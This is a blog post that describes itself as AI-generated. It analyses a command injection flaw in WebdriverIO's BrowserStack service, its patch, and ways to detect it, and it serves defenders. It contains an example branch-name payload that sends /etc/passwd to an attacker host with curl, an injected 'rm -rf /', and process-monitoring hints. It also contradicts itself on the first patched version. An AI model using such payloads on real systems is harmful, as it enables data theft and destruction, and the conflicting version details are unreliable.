Automated Threat Modeling

WebdriverIO CVE-2026-25244: Overview of Critical Command Injection via Malicious Git Branch Names in BrowserStack Service

CVE-2026-25244 is a CVSS 9.8 command injection vulnerability in WebdriverIO's BrowserStack service that allows remote code execution through crafted Git branch names. This analysis covers the patch and strategies for detecting it.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-05-18

WebdriverIO CVE-2026-25244: Overview of Critical Command Injection via Malicious Git Branch Names in BrowserStack Service
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single unsanitized Git branch name is enough for remote code execution on any CI/CD server or developer machine that runs WebdriverIO's BrowserStack integration for test orchestration. With roughly 2.67 million weekly npm downloads and 564 dependent packages, the blast radius of CVE-2026-25244 covers a significant portion of the JavaScript testing ecosystem.

WebdriverIO is an open-source test automation framework for Node.js that supports unit, component, and end-to-end testing using WebDriver, WebDriver BiDi, and Appium. It is one of the most widely adopted browser and mobile testing frameworks in the JavaScript ecosystem, with 9.8k GitHub stars and deep integration into enterprise CI/CD pipelines. Its @wdio/browserstack-service package integrates with BrowserStack's cloud testing infrastructure, including a "smart selection" feature that uses Git metadata to decide which tests to run.

Technical information

Root cause

The vulnerability is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command. The flaw is in the getGitMetadataForAISelection() function in packages/wdio-browserstack-service/src/testorchestration/helpers.ts, at line 204 in the vulnerable version.

During test orchestration, this function extracts Git metadata for BrowserStack's smart test selection feature. It runs Git commands with Node.js's execSync() and interpolates user-controlled values, specifically Git branch names, directly into the command string it passes to execSync(). Because execSync() invokes a system shell (/bin/sh on Unix), the shell interprets any metacharacters in those values instead of treating them as literal strings.

Git's branch naming rules are permissive enough to allow characters that act as shell metacharacters, including semicolons, pipe operators, backticks, and $() constructs. An attacker who controls a branch name can therefore embed arbitrary shell commands that execute when the vulnerable function processes the repository.

A vulnerable line in the pre-patch code looked like this:

const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim()

If currentBranch contained a value like main;curl attacker.com/exfil?data=$(cat /etc/passwd), the shell would treat the semicolon as a command separator and execute the injected curl command.

Attack flow

  1. The attacker creates a Git repository with a branch name that contains shell metacharacters and an embedded payload, for example an injected command that downloads and executes a script, exfiltrates secrets, or creates a reverse shell.

  2. The malicious repository reaches the target's pipeline through the testOrchestrationOptions.runSmartSelection.source configuration parameter. If this parameter is unset, WebdriverIO defaults to the current working directory, so any cloned repository with a malicious branch name could trigger the vulnerability.

  3. When WebdriverIO's BrowserStack service runs test orchestration and invokes getGitMetadataForAISelection(), the function calls execSync() with the unsanitized branch name interpolated into the command string.

  4. The system shell parses the command string, hits the metacharacters in the branch name, and executes the attacker's commands with the privileges of the Node.js process.

  5. Depending on the payload, the attacker can then exfiltrate CI/CD secrets and credentials, steal SSH keys and source code, compromise the build server, or tamper with build artifacts to conduct supply-chain attacks.

Severity context

The CVSS 9.8 score reflects that the vulnerability requires no authentication, has low attack complexity, and is exploitable over a network. Its impact covers the confidentiality, integrity, and availability of the affected system.

Patch information

The fix is commit 0e6748ec, authored by Christian Bromann on February 1, 2026, with the message fix(browserstack): better handle malicious branch names (#15069). It first landed in @wdio/browserstack-service version 9.23.3 and was also included in the v9.24.0 release, published February 10, 2026. The patch modifies one file, packages/wdio-browserstack-service/src/testorchestration/helpers.ts, with 102 additions and 22 deletions.

It addresses the root cause with two complementary strategies.

Strategy 1: Replacing execSync with spawnSync

The most important change replaces the shell-invoking execSync with spawnSync, which takes the executable and its arguments as separate array elements and does not invoke a shell:

-import { execSync } from 'node:child_process' +import { spawnSync } from 'node:child_process'

To centralize this, the patch adds a safeGitCommand wrapper:

function safeGitCommand(args: string[], cwd?: string): string { const result = spawnSync('git', args, { cwd, encoding: 'utf-8', maxBuffer: 10 * 1024 * 1024 }) if (result.error) { throw result.error } if (result.status !== 0) { throw new Error(result.stderr || `Git command failed with status ${result.status}`) } return result.stdout.trim() }

Every former execSync(...) call now goes through this wrapper with array-based arguments:

-const changedFilesOutput = execSync(`git diff --name-only ${baseBranch}..${currentBranch}`).toString().trim() +const changedFilesOutput = safeGitCommand(['diff', '--name-only', `${baseBranch}..${currentBranch}`])

Because spawnSync never invokes a shell, a baseBranch value like ; rm -rf / reaches git as a literal string argument. Git fails with a "bad revision" error, and the injected command never runs.

Strategy 2: Git reference validation via isValidGitRef

As defense in depth, the patch adds a strict allowlist regex that validates every Git reference before use:

const SAFE_GIT_REF_PATTERN = /^[a-zA-Z0-9_./-]+$/ function isValidGitRef(ref: string): boolean { if (!ref || ref.length === 0 || ref.length > 256) { return false } return SAFE_GIT_REF_PATTERN.test(ref) }

The regex permits only alphanumeric characters, dots, underscores, forward slashes, and hyphens, so any ref containing shell-dangerous characters fails validation. The 256-character length limit also guards against excessively long or crafted inputs.

The patch applies this check at every critical boundary. In getGitMetadataForAISelection, for example, the function validates the current branch name immediately after retrieving it:

+if (!isValidGitRef(currentBranch)) { + log.warn(`Invalid current branch name detected: ${currentBranch}. Skipping this folder for security reasons.`) + process.chdir(originalDir) + continue +}

Similar guards cover the base branch, commit hashes, and parent commit hashes during diff operations. In each case, the code logs an invalid ref and skips it instead of processing it.

Together, the two strategies are textbook secure coding. spawnSync eliminates the injection vector at the execution layer, and isValidGitRef rejects malicious input before it reaches any execution path. If one layer were somehow bypassed, the other would still provide independent protection.

Detection methods

Dependency scanning and SCA tools

The most practical way to detect CVE-2026-25244 is with Software Composition Analysis (SCA) tooling. The vulnerability is cataloged in all major advisory databases:

  • The GitHub Advisory Database tracks it under GHSA-5c46-x3qw-q7j7, so Dependabot alerts will automatically notify repository owners who depend on the affected package.
  • The GitLab Advisory Database (GLAD) has an entry for this CVE and recommends GitLab Dependency Scanning.
  • npm audit flags this vulnerability because it draws from the GitHub Advisory Database. Running npm audit in any project with @wdio/browserstack-service in its dependency tree will surface the advisory.
  • Commercial SCA platforms, including Tenable, Snyk, and Miggo Security, all carry entries for this CVE.

The version check is simple. Any installation of @wdio/browserstack-service at version 9.23.2 or earlier is vulnerable. The first patched version is 9.24.0.

Behavioral and runtime detection

Beyond version scanning, defenders should watch build servers for behavioral indicators:

  • The attack relies on branch names that contain shell metacharacters such as ;, ${}, backticks, or pipe operators. If your CI/CD pipeline logs the Git branches it checks out, look for branch names with these characters, for example patterns like main;curl or main;touch.
  • During normal WebdriverIO test runs with BrowserStack, the execSync calls should produce only standard Git output. Unusual child processes spawned during test orchestration, such as curl, wget, bash, or file creation commands, would be anomalous, and process monitoring (for example auditd on Linux or Sysmon on Windows) can reveal them.
  • Monitoring for unexpected file creation in temporary directories during CI/CD test runs could surface exploitation attempts.

What is not yet available

There are currently no publicly available Nuclei templates, YARA rules, Sigma rules, or Snort/Suricata IDS signatures tailored to CVE-2026-25244. That is expected, since the vulnerability is a server-side command injection in a build-time npm package rather than a remotely exploitable web endpoint. The CVE is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog, and its EPSS score is 0%.

Affected systems and versions

ComponentStatus
@wdio/browserstack-service versions 9.23.2 and belowVulnerable
@wdio/browserstack-service version 9.23.3First patched version
@wdio/browserstack-service version 9.24.0 and laterPatched

The vulnerability affects deployments that use the BrowserStack service's test orchestration feature with smart selection (testOrchestrationOptions.runSmartSelection). Environments without this feature enabled do not reach the vulnerable code path, though upgrading is still recommended as a precaution.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization